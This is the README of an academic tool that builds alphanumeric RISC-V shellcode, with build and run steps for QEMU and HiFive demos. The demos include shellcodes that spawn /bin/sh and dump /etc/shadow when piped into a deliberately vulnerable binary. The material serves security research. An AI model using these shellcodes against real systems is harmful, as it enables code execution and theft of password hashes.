By Hаdrien Ваrrаl, Rémi Géraud-Stewart, Georges-Axel Jaloyan, and David Naccache
This work has been presented at WOOT'19 (paper) and DEFCON27 (slides)
This tool helps design RISC-V (specifically RV64GC) shellcodes capable of running arbitrary code, whose ASCII binary representation
use only letters a–zA–Z, digits 0–9, and either of the three characters: #, /, ’.
It consists of an alphanumeric (+1 character) unpacker. For any target shellcode (non-alphanumeric), the tool will produce an alphanumeric (+1 character) shellcode with the unpacker and the packed version of your shellcode. Run it on a RISC-V simulator/cpu and enjoy!
For a general introduction on RISC-V shellcoding, you may read the blog post by Thomas Karpiniec.
Folder contents:
baremetal: Full source code and QEMU demo for each of the three variantsfedora: Demos running on Fedora on QEMUhifiveu: Demos running on the HiFive-Unleashed boardpayload: Source code of the payloads usedlists: How we generated the available instructionsscripts/tools: Various helpers
Building the shellcodes requires to build a RISC-V toolchain from source. We only provide easy-to-test pre-built baremetal shellcodes.
The only prerequisite is having a RISC-V QEMU v4.0.0 or newer https://www.qemu.org/
Then:
cd riscv-alphanumeric-shellcoding/baremetal/prebuiltcat hash.bin(optional, to print the shellcode)sh launch_hashuse Ctrl+A then X to exitcat slash.bin(optional, to print the shellcode)sh launch_slashuse Ctrl+A then X to exitcat tick.bin(optional, to print the shellcode)sh launch_tickuse Ctrl+A then X to exit
Start by cloning the repository:
git clone https://github.com/RischardV/riscv-alphanumeric-shellcoding.git
cd riscv-alphanumeric-shellcoding
/!\ Warning: unless you are using a rolling-release distribution, you probably will not be able to simply install packages. You will need to install yourself the tools below:
- RISC-V toolchain: install https://github.com/riscv/riscv-gnu-toolchain
- RISC-V QEMU: install QEMU v4.0.0 or newer https://www.qemu.org/
- Build the instructions lists (takes some time)
cd riscv-alphanumeric-shellcoding/baremetal/listsmake
- Build the shellcodes
cd riscv-alphanumeric-shellcoding/baremetal/hashmakecd riscv-alphanumeric-shellcoding/baremetal/slashmakecd riscv-alphanumeric-shellcoding/baremetal/tickmake
- Run the shellcodes
cd riscv-alphanumeric-shellcoding/baremetal/hashcat shellcode.bin(optional, to print the shellcode)sh luse Ctrl+A then X to exitcd riscv-alphanumeric-shellcoding/baremetal/slashcat shellcode.bin(optional, to print the shellcode)sh luse Ctrl+A then X to exitcd riscv-alphanumeric-shellcoding/baremetal/tickcat shellcode.bin(optional, to print the shellcode)sh luse Ctrl+A then X to exit Expected results: The string "Hello, world!" should print on the screen.
Prerequisites: A Fedora 28 Linux image running in a QEMU riscv environment (see here and here).
- Build the shellcodes
cd riscv-alphanumeric-shellcoding/fedoramake
- Run the shellcodes
-
Start your Fedora RISC-V virtual machine
-
From the host: Send the compiled files
riscv-alphanumeric-shellcoding/fedora/{out,build/vuln.bin}to the virtual machine (e.g. using scp) -
On the guest Fedora VM: run the shellcodes using:
- Hello word shellcodes:
./vuln.bin < out/hello_hash.txtfor the 'hash' flavored shellcode./vuln.bin < out/hello_slash.txtfor the 'slash' flavored shellcode./vuln.bin < out/hello_tick.txtfor the 'tick' flavored shellcode
Expected results: the string "Hello, world from shellcode!\n" should print on stdout
- Execve /bin/sh shellcodes:
(cat out/shell_hash.txt; echo ""; cat) | ./vuln.binfor the 'hash' flavored shellcode(cat out/shell_slash.txt; echo ""; cat) | ./vuln.binfor the 'slash' flavored shellcode(cat out/shell_tick.txt; echo ""; cat) | ./vuln.binfor the 'tick' flavored shellcode
Expected results: a shell should spawn with no prompt. To test it, type any command (e.g.
id) and press enter. To exit the shell, type exit and then press enter.- Printing /etc/shadow shellcodes:
./vuln.bin < out/shadow_hash.txtfor the 'hash' flavored shellcode./vuln.bin < out/shadow_slash.txtfor the 'slash' flavored shellcode./vuln.bin < out/shadow_tick.txtfor the 'tick' flavored shellcode
Expected results: the contents of the shadow file should be printed on stdout
- Custom payloads (section 5.3 of the paper). You may modify the payload located in the
riscv_alphanumeric/payloaddirectory.
- Hello word shellcodes:
-
Prerequisites:
-
A HiFive-Unleashed board: https://www.sifive.com/boards/hifive-unleashed
-
The HiFive toolchain: https://github.com/sifive/freedom-u-sdk
-
Build the shellcodes
cd riscv-alphanumeric-shellcoding/hifiveumake
Running instructions are very similar to QEMU Linux shellcodes above. Refer to them.
Our academic paper gives a lot of details about design choices. We encourage you to read it if you want to understand how the code works.
This tool is released under MIT license. See LICENSE file.